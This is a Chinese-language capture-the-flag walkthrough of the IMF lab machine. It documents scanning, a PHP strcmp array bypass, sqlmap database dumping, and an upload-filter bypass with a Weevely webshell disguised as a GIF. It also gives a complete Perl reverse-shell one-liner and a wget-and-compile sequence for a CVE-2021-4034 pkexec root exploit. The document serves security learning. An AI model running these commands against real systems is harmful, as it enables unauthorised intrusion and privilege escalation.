文章目录
一、基础信息
二、信息收集
三、flag1
四、flag2
五、flag3
六、flag4
七、flag5
八、flag6
一、基础信息
Kali IP:192.168.20.146
靶机IP:192.168.20.147
二、信息收集
Nmap -sP 192.168.20.0/24
Arp-scan -l
nmap -sS -sV -p- -A 192.168.20.147
端口扫描开放了80端口,web.server:apache http-server 2.4.18
操作系统:ubuntu
访问一下查看页面信息
发现一些邮件地址和人名:
Roger S. Michaels ;rmichaels@imf.local ;Director (主任)
Alexander B. Keith ;akeith@imf.local ;Deputy Director (副主任)
Elizabeth R. Stone ;estone@imf.local ;Chief of Staff(办公室主任)
猜测用户名为:rmichaels,akeith,estone
目录探测
好像没啥发现
三、flag1
查看页面源代码发现flag1,看起来像base64编码,尝试解码,发现为:allthefiles
尝试拼接为目录发现失败,另外上面也有疑似base64编码的字符
四、flag2
看wp发现是把他们连接起来进行base64解码得到flag2,这个没想到,解码得到明文:imfadministrator
再次拼接目录得到页面,想到sql注入或者暴力破解等
查看页面源代码发现作者不建议用sql注入
这里尝试使用上面得到的用户名信息进行测试,测试发现可以先判断有无用户再猜测密码
用户名上面有分析到rmichaels;akeith;estone
发现存在rmichaels用户,可以尝试爆破一下密码,但是测试了一会儿没搞出来
看了wp,这里是进行绕过,因为这里讲到了硬编码,一般使用了一个strcmp()函数的漏洞
strcmp()函数的特点是比较输入值和指定的一个数字
<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。//比较两个字符串(区分大小写)die('Flag: '.$flag);elseprint 'No';
}
?>
a输入为非字符串类型数据,就会报错,自动return 0;一般绕过方式是用数组绕过
这个时候我们可以以数组的方式传输数据,使其报错。
五、flag3
得到了flag3和一个路径
flag3{Y29udGludWVUT2Ntcw==}
解码为:continueTOcms
<a href='cms.php?pagename=home'>IMF CMS</a>
路径:http://192.168.20.147/imfadministrator/cms.php?pagename=home
但是这里cms不知道是啥,不好入手,观察到路径参数可以尝试SQL注入,抓取数据包注入
sqlmap -r sql.txt
然后继续查看里面的内容
sqlmap -r sql.txt --current-db
sqlmap -r sql.txt -D admin --tables
sqlmap -r sql.txt -D admin -T pages --columns
sqlmap -r sql.txt -D admin -T pages -C id,pagedata,pagename --dump
六、flag4
看到提示有两个图片,下载下来有一个有一个二维码,扫码得到
flag4{dXBsb2Fkcjk0Mi5waHA=}
解码为:uploadr942.php
访问为一个文件上传页面,根据上面信息收集知道后台为php语言开发,思路为上传php木马。
先正常上传一个图片文件,成功后通过查看源代码看到重命名后的名字,猜测上传路径后可正常访问。
路径为:http://192.168.20.147/imfadministrator/uploads/4eba680d7790.jpg
得到上传路径后尝试上传一句话木马发现,有waf提示不能使用eval等函数,以及不能上传php类文件。尝试黑名单后缀名绕过但没成功,写入命令执行时jpg文件没有生效,gif文件可以,应该是.htaccess文件中有AddHandler application/x-httpd-php .gif,可将gif文件解析为php。
后面参考了其他wp的思路,结合起来选择了比较简单方法。
Weevely工具
weevely是一款使用python编写的webshell工具(集webshell生成和连接于一身),可以算作是linux下的一款菜刀替代工具(限于php),在linux上使用时还是很给力的。
先利用Weevely工具生成一个gif后门文件
weevely generate hp shll.gif
但是注意需要自己在后门文件开头加GIF89a头,不然不能成功上传
文件地址:http://192.168.20.147/imfadministrator/uploads/08e80adff22b.gif
工具连接:weevely http://192.168.20.147/imfadministrator/uploads/08e80adff22b.gif hp
连接成功后可查看到flag5
七、flag5
解码后明文为:agentservices
此时shell并不是稳定的shell连接,这个时候我们需要重新反弹一个shell到kali
nc -lvvp 8080
利用python未成功,采用了perl命令
perl -e 'use Socket;$i="192.168.20.146";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python3 -c 'import pty;pty.spawn("/bin/bash")'
此时应该进行提权了,这里提权方式参考各wp主要有两种,一种是内核提权,另一种就是根据靶机提示的后续缓冲区溢出提权(比较复杂,可自行搜索学习),这里用的是内核方面的方法
主要参考:
https://blog.csdn.net/weixin_60374959/article/details/127923839
https://www.cnblogs.com/l2sec/p/14410182.html
uname -a
lsb_release -a
系统为ubuntu 16.04.1
这里用到一个提权漏洞:CVE-2021-4034:Linux提权漏洞,主要原因在于Polkit包下的Pkexec工具存在内存损害,允许非特权用户利用提升到ROOT。
Pkexec是系统预装的工具,所以主流的都会受到影响,像Ubuntu、Debian、Fedora、Centos等,从2009年起所有的Pkexec都会受到攻击。
find / -perm -u=s -type f 2>/dev/null //列出具有suid位的文件
这里可以用已有的exp:cve-2021-4034(至于什么能想到这个,我也不清楚,靠多方面尝试吧)
下载地址:https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c
下载完上传到靶机
python -m http.server 8080 --kali开启服务
cd /tmp --靶机进入tmp目录
wget http://192.168.20.146:8080/cve-2021-4034-poc.c --靶机下载poc
gcc cve-2021-4034-poc.c -o exp --靶机反编译
chmod +x exp --给与执行文件权限
./exp --执行文件
八、flag6
权限为root,可查看到Flag6,解码为Gh0stProt0c0ls
完成!
这次靶机操作下来感觉给的提示很紧密,难度感觉也有点偏高,还是学习到了很多。